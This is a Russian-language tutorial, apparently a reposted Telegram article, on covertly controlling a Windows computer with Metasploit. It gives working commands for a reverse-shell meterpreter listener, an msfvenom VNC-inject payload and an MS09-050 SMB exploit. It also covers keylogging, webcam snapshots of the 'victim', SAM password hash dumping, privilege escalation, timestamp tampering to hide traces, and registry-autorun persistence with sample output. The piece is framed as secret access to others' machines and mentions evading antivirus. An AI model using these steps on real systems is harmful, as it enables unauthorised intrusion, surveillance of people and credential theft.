Скрытое управление компьютером на Windows (используя Metasploit) #2

Скрытое управление компьютером на Windows (используя Metasploit) #2

@Torchik_Ru

Работа с бэкдорами в Metasploit

На «атакующей» машине запускаем Metasploit:

msfconsole

Далее

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.

Нужно установить настройки – IP и порт локальной машины:

set LHOST 192.168.0.196
set LPORT 4444

Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.

Когда настройки сделаны, запустите выполнение модуля:

run

Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:

Основы работы в Meterpreter (Meta-Interpreter)

Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:

webcam_snap -h

Основные команды:

Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.

Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:

Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:

upload driver_dlya_tvoego_computera.exe

Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:

ls
download allen.zip

Сетевые команды:

Системные команды:

Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.

Команды пользовательского интерфейса:

Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.

Для начала захвата нажатия клавиш введите:

keyscan_start

Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:

keyscan_dump

Команды для управления веб-камерой:

На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните

webcam_list

В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):

webcam_snap SC-20FHL11146M

Будет сделана и показана фотография с веб-камеры удалённого компьютера.

Команды повышения привилегий:

getsystem    Пытается поднять ваши привилегии на данной локальной системе.

Команда для работы с базой данных паролей:

hashdump     Дампит содержимое базы данных SAM

Команды для работы с Timestomp (временными метками файла):

timestomp    Манипуляция файловыми атрибутами MACE

Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.

Скрытый доступ к удалённому рабочему столу (VNC)

Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:

msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.196 -f exe -o vnc.exe

Далее запустите Metasploit (если вы это ещё не сделали):

msfconsole

Внутри Metasploit:

use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set payload windows/vncinject/reverse_tcp
set lhost 192.168.0.196
set rhost 192.168.0.244
run

Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).

После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.

В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.

На машине атакующего должен быть установлен VNC клиент (просмотрщик).

Закрепление доступа

До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:

run persistence -h

Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.

Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.

Опции модуля:

Имя     Текущее значение Требуется Описание
----      ---------------  --------  -----------
REXENAME default.exe      да       Имя exe файла на удалённой системе
REXEPATH                    да       Файл, который нужно загрузить на удалённую систему
SESSION                    да       Сессия, на которой запустить этот модуль
STARTUP  USER             да       Тип запуска постоянной нагрузки. (Варианты: USER, SYSTEM, SERVICE)

Пример запуска

run post/windows/manage/persistence_exe REXEPATH=/local/path/to/your/payload.exe REXENAME=default.exe STARTUP=SYSTEM

Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.

Ещё один пример:

run post/windows/manage/persistence_exe REXEPATH=/home/mial/backdoor2.exe

Модуль вывел следующую информацию:

[*] Running module against MIAL-PC
[*] Reading Payload from file /home/mial/backdoor2.exe
[+] Persistent Script written to C:\Users\Alex\AppData\Local\Temp\default.exe
[*] Executing script C:\Users\Alex\AppData\Local\Temp\default.exe
[+] Agent executed with PID 6572
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ
[*] Cleanup Meterpreter RC File: /home/mial/.msf4/logs/persistence/MIAL-PC_20170519.0352/MIAL-PC_20170519.0352.rc

Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.

Модули последующей эксплуатации Metasploit

post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.

Некоторые примеры:

  • post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
  • post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
  • post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
  • post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows

Количество модулей достаточно велико:

Все эти модули можно применять во время сеанса Meterpreter. 

Когда обратный шелл не нужен

Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.

Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).

Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.

Заключение

Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.

В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.

[Источник]

Report Page